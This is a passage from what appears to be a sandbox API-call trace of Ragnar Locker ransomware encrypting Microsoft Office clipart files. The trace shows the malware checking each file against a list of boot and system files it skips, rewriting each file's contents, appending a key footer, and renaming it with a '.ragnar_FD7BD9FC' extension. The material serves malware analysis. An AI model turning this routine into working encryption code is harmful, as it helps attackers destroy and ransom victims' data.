(in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" [0093.113] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.ragnar_FD7BD9FC" [0093.113] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.114] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1 [0093.114] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.114] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01330_.GIF" | out: lpString1="WB01330_.GIF") returned="WB01330_.GIF" [0093.114] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF") returned=".GIF" [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="autorun.inf") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="boot.ini") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="bootfont.bin") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="bootsect.bak") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="bootmgr") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="bootmgr.efi") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="desktop.ini") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="iconcache.db") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="ntldr") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="ntuser.dat") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="ntuser.ini") returned 1 [0093.114] lstrcmpiW (lpString1="WB01330_.GIF", lpString2="thumbs.db") returned 1 [0093.114] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.114] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.114] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.114] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.114] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.114] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.114] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif")) returned 0x20 [0093.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.116] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=370) returned 1 [0093.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x169, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.116] GetProcessHeap () returned 0x580000 [0093.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.116] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.117] VirtualAlloc (lpAddress=0x0, dwSize=0x172, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.117] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x172, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x172, lpOverlapped=0x0) returned 1 [0093.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.117] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x172, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.117] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x172, lpOverlapped=0x0) returned 1 [0093.117] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x172, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.117] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x172, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.117] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.117] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.118] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.118] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.118] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.118] GetProcessHeap () returned 0x580000 [0093.118] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.118] CloseHandle (hObject=0xf4) returned 1 [0093.118] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" [0093.118] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.ragnar_FD7BD9FC" [0093.118] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.119] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1 [0093.119] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.119] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01734_.GIF" | out: lpString1="WB01734_.GIF") returned="WB01734_.GIF" [0093.119] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF") returned=".GIF" [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="autorun.inf") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="boot.ini") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="bootfont.bin") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="bootsect.bak") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="bootmgr") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="bootmgr.efi") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="desktop.ini") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="iconcache.db") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="ntldr") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="ntuser.dat") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="ntuser.ini") returned 1 [0093.119] lstrcmpiW (lpString1="WB01734_.GIF", lpString2="thumbs.db") returned 1 [0093.119] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.119] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.119] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.119] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.119] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.119] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.120] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif")) returned 0x20 [0093.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.121] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2201) returned 1 [0093.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x890, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.121] GetProcessHeap () returned 0x580000 [0093.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.121] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.122] VirtualAlloc (lpAddress=0x0, dwSize=0x899, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.122] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x899, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x899, lpOverlapped=0x0) returned 1 [0093.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.122] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x899, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.122] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x899, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x899, lpOverlapped=0x0) returned 1 [0093.123] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x899, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.123] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.123] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x899, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.123] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.123] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.123] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.123] GetProcessHeap () returned 0x580000 [0093.123] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.123] CloseHandle (hObject=0xf4) returned 1 [0093.124] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" [0093.124] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.ragnar_FD7BD9FC" [0093.124] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.124] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1 [0093.124] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.125] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01740_.GIF" | out: lpString1="WB01740_.GIF") returned="WB01740_.GIF" [0093.125] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF") returned=".GIF" [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="autorun.inf") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="boot.ini") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="bootfont.bin") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="bootsect.bak") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="bootmgr") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="bootmgr.efi") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="desktop.ini") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="iconcache.db") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="ntldr") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="ntuser.dat") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="ntuser.ini") returned 1 [0093.125] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="thumbs.db") returned 1 [0093.125] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.125] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.125] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.125] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.125] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.125] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.125] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif")) returned 0x20 [0093.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.126] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=707) returned 1 [0093.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.126] GetProcessHeap () returned 0x580000 [0093.126] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.126] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.127] VirtualAlloc (lpAddress=0x0, dwSize=0x2c3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.127] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c3, lpOverlapped=0x0) returned 1 [0093.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.127] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.128] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c3, lpOverlapped=0x0) returned 1 [0093.128] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.128] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.129] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.129] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.129] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.129] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.129] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.129] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.129] GetProcessHeap () returned 0x580000 [0093.129] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.129] CloseHandle (hObject=0xf4) returned 1 [0093.130] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" [0093.130] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.ragnar_FD7BD9FC" [0093.130] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft 